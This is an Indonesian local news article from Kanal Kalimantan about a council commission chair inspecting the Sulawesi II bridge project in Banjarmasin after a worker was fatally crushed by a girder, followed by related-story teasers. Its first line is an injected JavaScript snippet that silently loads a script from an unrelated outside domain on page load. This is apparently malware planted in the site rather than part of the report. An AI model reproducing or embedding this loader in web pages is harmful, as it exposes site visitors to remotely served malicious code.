(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Ketua Komisi III DPRD Kota Banjarmasin Afrizaldi melakukan peninjauan ke proyek pembangunan Jembatan Sulawesi II yang menghubungkan Kelurahan Pasar Lama dan Antasan Kecil Timur pada Senin (24/10/2022).
Peninjauan tersebut dilakukannya sebagai tindak lanjut setelah adanya salah satu pekerja yang tewas tertimpa reruntuhan materil jembatan hingga tewas pada Minggu (23/10/2022).
“Saya memutuskan meninaju langsung kelapangan, untuk melihat kondisi seperti apa posisi jatuhkan pekerja tersebut” katanya. Ternyata setelah kita lihat ini murni kecelakaan kerja,” ungkap Afrizal.
Kepada kanalkalimantan.com dirinya mengatakan akan segara memanggil pihak PUPR Banjarmasin dan akan melakukan evaluasi terkait keselamatan kerja untuk semua proyek PUPR yang ada di Kota Banjarmasin.
Baca juga : Progres Proyek JPO Banjarbaru 86 Persen, Tuntas Sebelum Pergantian Tahun
“Kami akan segara memanggil pihak PUPR,” ujarnya.
“Melihat kejadian seperti ini kita perlu mengevaluasi semua proyek yang ada di PUPR Kota Banjarmasin untuk lebih sefty lagi, keselamatan kerja itu harus menjadi sesuatu yang utama dalam melaksanakan suatu proyek,” tegas Afrizal.
Dirinya juga khawatir pengerjaan proyek Jembatan yang menelan korban jiwa ini dilakukan dengan kejar-kejaran karena deadline waktu pengerjaan proyek, sehingga mengabaikan keselamatan kerja.
Karena diketahuinya proyek jembatan Sulawesi II tersebut menggunakan APBD tahun 2021 yang dilaksanakan 2022, sehingga menurutnya bisa jadi pengerjaan dilakukan secara tergesa-gesa untuk mengejar target penyelesaian.
“Kamis terus menerus menghimbau kepada PUPR, dalam hal perencanaan pekerjaan itu harus benar-benar dilakukan dengan SOP yang ada, jangan sampai nanti melaksanakan proyek tanpa mempertimbangkan faktor alam, faktor keselamatan, lalu lintas, dan lainnya,” ungkap Ketua Komisi III tersebut.
Baca juga : Telan Nyawa Pekerja, Proyek Jembatan Sulawesi II Banjarmasin Sementara Disetop
Sebelumnya sebagaimana diketahui pada Minggu (23/10/2022) nasib nahas dialami Kasim (50) yang merupakan kepala proyek tertindih girder atau materil jembatan sehingga menyebabkan dirinya tewas.
Kejadian tersebut terjadi pada saat proses pemasangan bagian girder nomor dua pada jembatan Sulawesi II. Investigasi masih dilakukan pihak terkait untuk memastikan penyebab pasti kejadian tersebut.
Pada saat peninjauan ke lokasi, Ketua Komisi III DPRD Banjarmasin juga mengatakan akan memberikan saran kepada pihak terkait untuk memasang CCTV pada setiap proyek, agar pelaksanaan proyek dapat dipantau dan memudahkan proses investigasi jika terjadi hal-hal yang tidak diinginkan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.